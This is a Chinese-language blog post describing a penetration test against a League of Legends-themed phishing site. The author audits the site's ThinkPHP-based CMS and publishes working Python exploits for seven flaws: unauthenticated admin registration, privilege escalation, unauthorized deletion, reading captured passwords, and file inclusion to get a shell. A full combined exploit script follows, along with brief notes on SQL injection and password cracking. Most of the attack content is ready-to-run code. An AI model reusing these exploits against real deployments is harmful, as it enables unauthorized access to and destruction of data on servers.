渗透实战——为喜欢的游戏“排忧解难”
本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。
资料查询来源- 安全社区与AI模型结合探索【文末申请免费试用资格】
前言
不知道大家玩不玩游戏,我经常玩英雄联盟,但在游戏中久久没有当过幸运召唤师,最夸张的一次跟室友出去上网,唯独我没有成为幸运召唤师。但有意思的是我却在邮箱里发现了召唤师的邮件,这一下子乐子就来了,域名一眼就觉得是钓鱼网站有问题的,那就开始简单的测试一下吧~
0x01网站踩点
首先我们对目标进行目录扫描, 发现 admin.php
进入发现是后台界面, 右击查看网页源码
我们复制 title 到百度搜索一下
第一个是官网
我把源码下载, 看了一遍, 发现是一个叫 默笙密码管理系统 V2.0 这套源码和钓鱼网站一致
0x02开始审计
这套 cms 是基于 thinkphp 的, 所以我们直接跳到控制器开始审计
我们看到代码都是以 Model 对象的方式调用数据库查询, 所以基本不存在注入, 所以我们看下有没有逻辑绕过漏洞, 或者是隐藏的接口
0x03思路梳理
首先审计 Admin 的控制器
打开看了一下除了 Login 其它的控制器均有登录认证, 所以我们先审计 Login
我们看到有 5 个方法
我们先打开前 2 个方法
方法 login 是判断数据库中是否存在管理员, 如果不存在则去 reg 注册管理员
方法 reg 是判断数据库中是否存在管理员, 如果不存在则进行注册, 所以 login 和 reg 方法是没有洞了
方法 loging 是登陆的, 我们上文说了是代码都是以 Model 对象的方式调用数据库查询, 所以基本不存在注入, 所以 loging 也没洞
方法 regist 他首先判断了提交方式是不是 AJAX 我们只要在协议头添加 X-Requested-With:XMLHttpRequest 就好了
然后我们看到两个参数 $data['username']=I('post.p','','md5');$data['password']=I('post.c','','md5');
然后它竟然直接进行进行添加管理员了, 不过这个管理员不是超级管理员, 但是可以登录后台就已经足够了, 下面有个漏洞是提权
漏洞一 任意管理员添加
exp
def RegAdmin(): domain="127.0.0.1" username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName:"+hashlib.md5(username.encode("utf-8")).hexdigest()+"PassWord:"+password else: return "Failure To Exploit A Vulnerability"
漏洞二 将普通管理员提权到超级管理员
我们看到验证管理员的逻辑是这样的, 它先从 session 取出管理员的 id 然后进行查询 判断字段 is_all 是否等于 1, 如果是 1 则不是管理员, 反之
我们只需要社工管理员让他删掉我们的账户, 我们就可以跳过这个认证, 成为超级管理员
漏洞三 越权删除分类
直接将 post 过来的 id 进行删除
exp
def classdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"
漏洞四 越权删除超级管理员
直接将 post 过来的 id 进行删除, 只能删除超级管理员
exp
def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"
漏洞五 越权删除钓鱼密码
直接将 post 过来的 id 进行删除, 不能删除含有普通管理员 id 的
exp
def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"
漏洞六 越权查看钓鱼密码
直接将 get 过来的 id 进行查询
exp
def GetPass(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result
漏洞七 GetShell 文件包含
前提是能在目标服务器上传. html 后缀的文件
exp
def uptemple(filename): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" return result
0x04 进入服务器
利用以上漏洞我们已经控制了目标服务器
我们看到这个钓鱼网站有很多的模板, 还注明了钓鱼网站的作者, 我们把它钓到的密码进行删除
完整 exp
import hashlibimport randomimport requestsimport redomain="127.0.0.1"cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1"def GetPass(id): global cookie global domain headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return resultdef DelPass(id): global cookie global domain headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded', 'Cookie': cookie } flag= requests.post("http://"+domain+"/admin.php/Pass/passdel",data="id="+str(id),headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability" else: return "Failure To Exploit A Vulnerability"def RegAdmin(): global domain username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName:"+hashlib.md5(username.encode("utf-8")).hexdigest()+"PassWord:"+password else: return "Failure To Exploit A Vulnerability"def classdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"def userdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"def uptemple(filename): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"if __name__=="__main__": print(RegAdmin()) 添加管理员 print(GetPass(1)) 获取密码 print(DelPass(1)) 删除密码 print(classdel(1)) 删除分类 print(userdel(1)) 删除管理员 print(uptemple("../test")) 文件包含
0x05 再次出击
多天后管理员发觉了它的鱼站被搞了, 换了一套 cms
扫描目录, 发现 history 目录, 打开发现后台
0x06 思路转换
单引号输入报错, 是注入
不过 sqlmap 识别出来的是时间注入, 我们利用它这个报错将时间注入升级到布尔注入
0x07 密码破解
解出 md5, 登陆后台
事情到这也就接受了,最后网站站主也跑路了。总的来说这次的渗透很有意思。欢迎大家来交流
相关文章:

渗透实战——为喜欢的游戏“排忧解难”
本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。 资料查询来源- 安全社区与AI模型结合探索【文末申请免费…...

政务大数据解决方案(十)
政务大数据解决方案通过建立全面的集成数据平台,整合来自各政府部门的异构数据,运用大数据分析、人工智能和机器学习技术对数据进行深度挖掘与智能化处理,提供实时精准的决策支持,从而提升政策制定和实施的科学性与效率。该方案包…...
使用WebStorm进行高效的全栈JavaScript开发
使用WebStorm进行高效的全栈JavaScript开发,是一个涉及多方面技能与工具利用的过程。WebStorm,作为JetBrains公司推出的一款专为前端开发者和全栈工程师设计的集成开发环境(IDE),以其强大的功能、卓越的性能和友好的用…...

数据导入导出(EasyExcel)框架入门指南
写在前面 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站 文章目录 EasyExcel 框架概述依赖APIExcel 实体类注解写 Excel概念介绍写 Excel 通用参数WriteWorkbookWriteSheetWriteTable 代码…...

Ubuntu如何实现每天定时关机
要在Ubuntu中实现每天定时关机,你可以使用cron来安排定时任务。以下是具体的步骤: 步骤 1: 创建脚本 打开终端。使用文本编辑器创建一个新的文件。例如: nano ~/shutdown_script.sh 步骤 2: 编写脚本 在编辑器中输入以下内容:…...

【MySQL进阶】事务、存储引擎、索引、SQL优化、锁
一、事务 1.概念 事务是一组操作的集合,它是一个不可分割的工作单位,事务会把所有的操作作为一个整体一起向 系统提交或撤销操作请求,即这些操作要么同时成功,要么同时失败。 例子:转账,要求扣钱和进账…...
BeanDefinitionOverrideException产生原因及解决方案
BeanDefinitionOverrideException 是 Spring 框架中与依赖注入(Dependency Injection)相关的异常。它通常在 Spring 应用程序启动时抛出,当 Spring 在加载应用程序上下文时,检测到有多个相同名称的 Bean 定义被加载,并…...

配置Prettier+Vscode setting提高前端开发效率
前言 大家好,上一篇一文读懂 系列的文章中我们介绍了前端的代码格式化校验工具ESLient。代码格式是进行自动校验了,但你还要一个个的微调,很麻烦不是吗? 本文介绍和ESLient配合使用的Prettier实现编译器自动将代码格式化。 同时也…...

系统架构师计算题(1)——计算机系统基础知识(上)
持续刷题,持续总结,持续更新! 目录 1. 文件系统 题型1:多级索引 2. 存储管理 题型1:页式存储 题型2:段式存储 题型3:段页式存储 3. 磁盘读取 题型1:访问耗时 4. RAID 题型1:计算容量 1. 文件系统 文件在系统中的存储结构有如下几种: (1) 连续结构。 连续结构…...

2024/8/18周报
文章目录 摘要Abstract蚁群算法背景基本步骤应用TSP问题蚁群算法具体实现 遗传算法基本原理主要步骤遗传算法的主要组件遗传算法的应用遗传算法的优点遗传算法的局限性示例代码 多目标优化算法多目标优化的基本概念多目标优化算法的分类NSGA-II 算法示例 总结 摘要 本周对项目…...
端点安全新纪元:EDR与XDR技术的融合应用
在数字时代,随着网络威胁的日益复杂化和多样化,端点安全成为了企业组织不可或缺的重要防线。传统的防病毒软件和防火墙等安全解决方案已难以满足当前的安全需求,而EDR(端点检测与响应)和XDR(扩展检测与响应…...

机器学习:多元线性回归模型
目录 前言 一、讲在前面 1.多元_血压.csv: 2.完整代码: 3.运行结果: 二、实现步骤 1.导入库 2.导入数据 3.绘制散点图(这步可以省略) 编辑 4.求特征和标签的相关系数 5.建立并训练线性回归模型 6.检验模…...

树莓派5环境配置笔记 新建虚拟python环境—安装第三方库—配置Thonny解释器
树莓派5虚拟环境配及第三方库的安装🚀 在完成了树莓派的系统下载和各项基础配置之后进入到了,传感器开发部分,在测试传感器开发之前我打算先安装一下自己需要的库,但是在我直接在系统的根目录下运行pip命令的时候总会报环境错误&a…...
浅谈Winform
一、Winform简介说明 C# 是一种面向对象的编程语言,由微软开发并作为.NET框架的主要编程语言。C# 设计时考虑了易用性,并且具有丰富的特性,如垃圾回收、异常处理、泛型、LINQ(Language Integrated Query)、异步编程等。…...

MySQL(二)——CRUD
文章目录 CRUD新增全列插入指定列插入插入查询结果 查询全列查询指定列查询查询字段为表达式表达式不包含字段表达式包含一个字段表达式包含多个字段 补充:别名去重查询排序条件查询 补充:运算符区间查询模糊查询NULL的查询 分页查询聚合查询聚合函数 分…...

presto高级用法(grouping、grouping sets)
目录 准备工作: 在hive中建表 在presto中计算 分解式 按照城市分组 统计人数 按照性别分组 统计人数 编辑 按照爱好分组 统计人数 编辑 按照城市和性别分组 统计人数 按照城市和爱好分组 统计人数 按照性别和爱好分组 统计人数 按照城市和性别还有…...

二十五年后,Microsoft终于移除了FAT32的32GB分区限制——一个从草稿到现实的故事
二十五年后,Microsoft终于移除了FAT32的32GB分区限制——一个从草稿到现实的故事 你可能不知道,FAT32文件系统的32GB分区限制是怎么来的。这个限制其实是1994年Windows前开发者Dave Plummer无心插柳的结果,也是"草台班子"式开发的…...

Java二十三种设计模式-命令模式(18/23)
命令模式:将请求封装为对象的策略 概要 本文全面探讨了命令模式,从基础概念到实现细节,再到使用场景、优缺点分析,以及与其他设计模式的比较,并提供了最佳实践和替代方案,旨在帮助读者深入理解命令模式并…...
Kafka系列之:Dead Letter Queue死信队列DLQ
Kafka系列之:Dead Letter Queue死信队列DLQ 一、死信队列二、参数errors.tolerance三、创建死信队列主题四、在启用安全性的情况下使用死信队列更多内容请阅读博主这篇博客: Kafka系列之:Kafka Connect深入探讨 - 错误处理和死信队列一、死信队列 死信队列(DLQ)仅适用于接…...
Fragment学习笔记
静态加载 <fragment android:name"com.example.serviceapplication.fragment.TestFragment"android:layout_width"match_parent"android:layout_height"wrap_content"app:layout_constraintStart_toStartOf"parent"app:layout_cons…...
变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析
一、变量声明设计:let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性,这种设计体现了语言的核心哲学。以下是深度解析: 1.1 设计理念剖析 安全优先原则:默认不可变强制开发者明确声明意图 let x 5; …...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...
conda相比python好处
Conda 作为 Python 的环境和包管理工具,相比原生 Python 生态(如 pip 虚拟环境)有许多独特优势,尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处: 一、一站式环境管理:…...

label-studio的使用教程(导入本地路径)
文章目录 1. 准备环境2. 脚本启动2.1 Windows2.2 Linux 3. 安装label-studio机器学习后端3.1 pip安装(推荐)3.2 GitHub仓库安装 4. 后端配置4.1 yolo环境4.2 引入后端模型4.3 修改脚本4.4 启动后端 5. 标注工程5.1 创建工程5.2 配置图片路径5.3 配置工程类型标签5.4 配置模型5.…...

大数据零基础学习day1之环境准备和大数据初步理解
学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 (1)设置网关 打开VMware虚拟机,点击编辑…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...

【Java_EE】Spring MVC
目录 Spring Web MVC 编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 编辑参数重命名 RequestParam 编辑编辑传递集合 RequestParam 传递JSON数据 编辑RequestBody …...

用机器学习破解新能源领域的“弃风”难题
音乐发烧友深有体会,玩音乐的本质就是玩电网。火电声音偏暖,水电偏冷,风电偏空旷。至于太阳能发的电,则略显朦胧和单薄。 不知你是否有感觉,近两年家里的音响声音越来越冷,听起来越来越单薄? —…...
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的“no matching...“系列算法协商失败问题
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的"no matching..."系列算法协商失败问题 摘要: 近期,在使用较新版本的OpenSSH客户端连接老旧SSH服务器时,会遇到 "no matching key exchange method found", "n…...

AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别
【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而,传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案,能够实现大范围覆盖并远程采集数据。尽管具备这些优势…...